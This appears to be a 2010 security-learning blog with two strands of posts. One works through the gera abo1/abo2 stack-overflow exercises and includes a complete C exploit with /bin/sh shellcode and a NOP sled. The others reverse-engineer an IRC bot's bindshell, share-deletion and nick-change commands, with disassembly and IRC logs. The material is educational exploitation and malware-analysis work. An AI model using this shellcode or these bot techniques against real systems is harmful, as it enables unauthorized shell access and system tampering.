Monday, 25 January 2010

baby steps

In the last couple of days, I've started shifting my focus towards exploitation.
Since I didn't know much about the subject I began by reading the classic "Smashing the Stack for Fun and Profit". After reading the article, in order to practice, I've started solving gera's abos.
Following is an explanation of the first two (I know this is outdated, but maybe it can be of interest to somebody).

abo1.c:
This is the code of a vulnerable main function:
int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

The purpose here is to exploit main.
In order to achieve this, we can approximate the stack (after the return from
strcpy) to the following

higher address
...
&envp
&argv
argc
ret_addr
ebp
,----.
| 6 |
| 5 |
| 2 |
'----'
...

lower address

Since this is the first example, and since it is for learning purposes, we can
compile our vulnerable code with the following switches
- -fno-stack-protector to disable the generation of code to prevent
buffer-overflows by gcc
- -mpreferred-stack-boundary=2 (we will get to this point later)

Ok, let's take a look at the disassembly

0x080483c4 : push   ebp
0x080483c5 : mov    ebp,esp
0x080483c7 : sub    esp,0x10c
0x080483cd : mov    eax,DWORD PTR [ebp+0xc]
0x080483d0 : add    eax,0x4
0x080483d3 : mov    eax,DWORD PTR [eax]
0x080483d5 : mov    DWORD PTR [esp+0x4],eax
0x080483d9 : lea    eax,[ebp-0x100]
0x080483df : mov    DWORD PTR [esp],eax
0x080483e2 : call   0x80482f8 
0x080483e7 : leave  
0x080483e8 : ret 

From what we have learned from Aleph1's "Smashing the Stack for Fun and Profit", we know that we want our buffer with the contents something like:

|NNNNNNN...SSSSS...AAAAAA|

where N stands for NOP instructions, S for our shellcode and A for an address
of any NOP instruction inside the buffer.

The real question here is finding the correct address to return to.

We will run our vulnerable executable with something like:
./vulnerable (in order to overwrite the value
of 'ret_addr' in the stack.

First we can run 'sp' (again from smashing the stack):
$./sp
0xbffff7e4

and now let's try running it with a big argument:
$ ./sp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0xbffff3e4

The output is different, and this can be explained since the arguments to sp
have changed (from nothing to a big string), and this too occupies space on the stack.

Let's take a look at our code:


#include 
#include 
#include 
#include 

#define BASE_ADDR 0xbffff7a4 //from the output of sp
#define TARGET_SIZE  256
#define PADD 80

char shellcode[] =
        "\x31\xd2"              /* xor   %edx, %edx     */
        "\x52"                  /* push  %edx           */
        "\x68\x6e\x2f\x73\x68"  /* push  $0x68732f6e    */
        "\x68\x2f\x2f\x62\x69"  /* push  $0x69622f2f    */
        "\x89\xe3"              /* mov   %esp, %ebx     */
        "\x52"                  /* push  %edx           */
        "\x53"                  /* push  %ebx           */
        "\x89\xe1"              /* mov   %esp, %ecx     */
        "\x6a\x0b"              /* pushl $0xb           */
        "\x58"                  /* pop   %eax           */
        "\xcd\x80";             /* int   $0x80          */


int main(int argc, char *argv[], char *envp[]){
 char *payload;
 char *payload_p;
 char *my_argv[3];
 unsigned long addr;
 int i;
 int bsize = TARGET_SIZE + PADD;
 unsigned long *addr_p;
 
 if (!(payload = malloc(sizeof(char)*bsize))){
  printf("failed to allocate memory\n");
  exit(0);
 }
 
 addr = BASE_ADDR 
     - TARGET_SIZE  // local variable
     - bsize   // argv
     + 70    // additional adjustments
       // from inspecting the core 
  ;       
 printf("using %x\n", addr);
 //fill the payload with desired return address:
 addr_p = (unsigned long *)payload;
 for(i = 0; i < bsize; i++){
  *(addr_p++) = addr; 
 }
 
 //nop sled at the beginning 
 for(i = 0; i < bsize/2; i++)
  payload[i] = 0x90; 

 //insert the shellcode into the payload
 payload_p = payload + (bsize/2 - strlen(shellcode)/2);
 for(i = 0; i < strlen(shellcode); i++)
  *(payload_p++) = shellcode[i];


 //terminate the payload
 payload[bsize-1] = '\0'; 

 my_argv[0] = "./vulnerable";
 my_argv[1] = payload;
 my_argv[2] = NULL;

 execve(my_argv[0], my_argv, envp);

 printf("exploit failed\n");
 exit(0); 
}
As you can see this is pretty much the same as the code in Smashing the Stack. And as you can see we take both the target buffer size, and the size of our argument to the vulnerable program into consideration when calculating the target address. One additional note, the 70 (additional adjustments) were made from examining the core dump (since we had gone a little bit further down the stack then we we're permited). As far as -mpreferred-stack-boundary=2 goes: Let's have a look at the same code compiled without it:
0x080483c4 : lea    ecx,[esp+0x4]
0x080483c8 : and    esp,0xfffffff0
0x080483cb : push   DWORD PTR [ecx-0x4]
0x080483ce : push   ebp
0x080483cf : mov    ebp,esp
0x080483d1 : push   ecx
0x080483d2 : sub    esp,0x114
0x080483d8 : mov    eax,DWORD PTR [ecx+0x4]
0x080483db : add    eax,0x4
0x080483de : mov    eax,DWORD PTR [eax]
0x080483e0 : mov    DWORD PTR [esp+0x4],eax
0x080483e4 : lea    eax,[ebp-0x104]
0x080483ea : mov    DWORD PTR [esp],eax
0x080483ed : call   0x80482f8 
0x080483f2 : add    esp,0x114
0x080483f8 : pop    ecx
0x080483f9 : pop    ebp
0x080483fa : lea    esp,[ecx-0x4]
0x080483fd : ret    
The prologue and epilogue of main have changed, let's analyze how this can affect our exploit: The prologue: - the address of argc is loaded into ecx - esp is 16-byte aligned ('and esp,0xfffffff0') - the return address is pushed onto the stack - ebp is saved - the address of argc is pushed onto the stack The epilogue: - the address of argc is poped into ecx - the ebp is restored - the address of the first pushed return address is loaded into esp - the function returns In this circumstance the stack would look something like &envp &argv argc ret_addr | at address X -16bytealignment- ret_addr ebp X local vars If we intend to exploit this setup, we would need our buffer to overflow the local variables reserved space, and in the next 4 bytes (where X resides) we would need to insert the address of a position inside our buffer, and in that same position we would need to have the address of a NOP (again, inside our buffer), so that eip would point correctly to our NOP sled. abo2.c: This is the code from abo2:
int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
        exit(1);
}
From what we know, in order to exploit this abo, the stack will have to look something like this (after the return from strcpy) &envp &argv argc ret_addr ebp ,----. | 6 | | 5 | | 2 | '----' with ret_addr holding one address inside the 256-byte buffer, so that when main returns, it will return to the buffer. However, if we look at the disassembly:
0x080483f4 : push   ebp
0x080483f5 : mov    ebp,esp
0x080483f7 : sub    esp,0x108
0x080483fd : mov    eax,DWORD PTR [ebp+0xc]
0x08048400 : add    eax,0x4
0x08048403 : mov    eax,DWORD PTR [eax]
0x08048405 : mov    DWORD PTR [esp+0x4],eax
0x08048409 : lea    eax,[ebp-0x100]
0x0804840f : mov    DWORD PTR [esp],eax
0x08048412 : call   0x804831c 
0x08048417 : mov    DWORD PTR [esp],0x1
0x0804841e : call   0x804832c 
instead of ending with the usual leave/ret exit is called. Therefore the usual buffer overflow won't work in this particular example. After having solved the first 5 abos, I was shown the overthewire wargames, and I'm currently in level 4 of vortex, and it has been really fun.

Tuesday, 5 January 2010

bot1.exe part11 - bindshell command


When the bindshell command is issued, firstly the usual notifications are created, and sent back to the channel:

15:41 <@unchk> .bd
17:10 < USA|28691> -bindshell- Server started on: 172.16.29.128:1991.

After this, a thread is created, and it's thread handle is stored (this handle is used when the command 'bindshellstop' is issued to call TerminateThread with it as argument).
The thread takes as argument the socket handle responsible for the communication with the irc server, and proceeds with the creation of listener-socket and binds it to local port 1991.
Once the socket is bound, the thread awaits for connections. If a connection is received, a new process (cmd.exe) is created, with the standard input/output/error overriden with the read and write ends of two anonymous pipes according to this:

Standard Input - Read Handle of pipe 1
Standard Output - Write Handle of pipe 2
Standard Error - Dup'ed Write Handle of pipe 2

Afterwards two threads are created:
- The first one is responsible for reading from the handle hReadPipe2 (the read handle from the second pipe) and sending this data down the connected_socket_handle. Since the write handle of pipe2 is acting as the process standard output of the cmd.exe created process, this socket is actually sending back the output of cmd.exe.
- The second thread, is in time, responsible for receiving data from the connected_socket_handle and writing it to the handle hWritePipe1. Since the standard input of the created cmd.exe is the read handle of pipe 1, writing data to hWritePipe1 will result in the contents read from the socket being passed to cmd.exe

Once both threads are created, the original thread calls WaitForSingleObject with dwMilliseconds set to INFINITE on the child process. Once the child process exits, the main thread terminates the created threds, terminates the created process, closes the four pipe handles and finally calls CloseHandle on the child process' process handle, thread handle and jumps back to the accept, to receive new connections.

bot1.exe part10 - secure/unsecure command


The 'secure' (or 'sec') command creates a thread that disables DCOM by setting
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole value to 'N'

from msnd we can see that the possible values are 'N' and 'Y'. A message is then sent to the channel informing the controller that DCOM has been disabled:

<@unchk> .secure
< USA|88366> -secure- DCOM disabled.

In addition to this, at 0041D5EB, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous value is changed from 0 to 1 therefore restricting anonymous users' permissions. More info here

Furthermore, a call to NetShareEnum(0, 502, ...) is made (0041D6CD). With the name of all network shares (returned by this function) in hand, the bot proceeds to calling NetShareDel on each one, thereby removing all network shares from the target.

< USA|88366> -secure- Restricted access to the IPC$ Share.
< USA|88366> -secure- Failed to delete 'IPC$' share.
< USA|88366> -secure- Share 'ADMIN$' deleted.
< USA|88366> -secure- Share 'C$' deleted.
< USA|88366> -secure- Network shares deleted.

The 'unsecure' (or 'unsec') command does exactly the opposite. It enables DCOM, disables restrictanonymous, and sets up network shares. The registry changes, are equivalent to the the aforementioned ones, with the only difference being the arguments to RegSetValue.
In order to enable network shares, the executable starts by trying to add two predefined shares
- IPC
- ADMIN
Afterwards, there is a call to GetLogicalDrives (0041DA40) and the return value is 0200000D, which means that there are logical drives named A, C, D, and Z (this is due to my current setup of the virtual machine).
Logical drive A is ignored, and the next in line (from the least-to-most significant bit in the bitmask returned by GetLogicalDrives) is logical drive C. GetDriveType is called on 'C:\' and if the drive type return is 3 (DRIVE_FIXED from msdn) then, a call to the procedure that does the network share addition (0041C29E) is made, and the next logical drive in line is analyzed according to this criteria.
Since, in my setup D stands for the cd-rom drive, and Z for a network share between the host and the virtualized system, only drive C will have a network share. This is the result of running .unsecure:

<@unchk> .unsecure
< USA|88366> -secure- DCOM enabled.
< USA|88366> -secure- Unrestricted access to the IPC$ Share.
< USA|88366> -secure- Failed to add 'IPC$' share.
< USA|88366> -secure- Share 'ADMIN$' added.
< USA|88366> -secure- Share 'C$' added.
< USA|88366> -secure- Network shares added.

bot1.exe part9 - random nick command


Next in the list of commands, is the 'rndnick' command.
After checking for the '.' marker, the message is compared against 'rndnick' or 'rn'.
If one of the strings match, then the execution jumps to location 40A992:

00403D35                   loc_403D35:                             
00403D35 8B 38             mov     edi, [eax]
00403D37 57                push    edi
00403D38 68 9C 4F 44 00    push    offset aRndnick_1               ; "rndnick"
00403D3D 89 7D 3C          mov     [ebp+4Ch+var_10], edi
00403D40 E8 6B E5 01 00    call    strcmp?
00403D45 85 C0             test    eax, eax
00403D47 59                pop     ecx
00403D48 59                pop     ecx
00403D49 0F 84 43 6C 00 00 jz      randomnick_cmd
00403D4F 57                push    edi
00403D50 68 A4 4F 44 00    push    offset aRn                      ; "rn"
00403D55 E8 56 E5 01 00    call    strcmp?
00403D5A 85 C0             test    eax, eax
00403D5C 59                pop     ecx
00403D5D 59                pop     ecx
00403D5E 0F 84 2E 6C 00 00 jz      randomnick_cmd

At location 40A9AF, sub_40AF58 is called with arguments (&out_var, 4, 0, 0) which means that it will run in the same way as previously mentioned, with the only difference that the third argument is set to 0 instead of 1, therefore the call to the function that would check whether mIRC is running or not will not be called. We should expect as a result (since our locale is set to USA) USA|xxxxx.

0040A992                   randomnick_cmd:
0040A992                                                          
0040A992 FF 74 35 AC        push    [ebp+esi+4Ch+message_type]
0040A996 33 C0              xor     eax, eax
0040A998 38 9D 54 F7 FF FF  cmp     [ebp+4Ch+var_8F8], bl
0040A99E 0F 95 C0           setnz   al
0040A9A1 50                 push    eax
0040A9A2 FF 35 98 70 45 00  push    arg_4_of_sub_40AF58
0040A9A8 8D 85 0C FD FF FF  lea     eax, [ebp+4Ch+var_340]
0040A9AE 50                 push    eax
0040A9AF E8 A4 05 00 00     call    sub_40AF58
0040A9B4 8D 85 0C FD FF FF  lea     eax, [ebp+4Ch+var_340]
0040A9BA 50                 push    eax
0040A9BB 68 A8 4F 44 00     push    offset aNickS_7 ; "NICK %s\r\n"
0040A9C0 FF 75 58           push    [ebp+4Ch+arg_4]
0040A9C3 E8 1A 6A FF FF     call    SendMessageToSocket

A message is then sent to the irc server to change our nick to the new string.
This is the result:

20:11 <@unchk> .rn
20:26 -!- USA|55211 is now known as USA|52072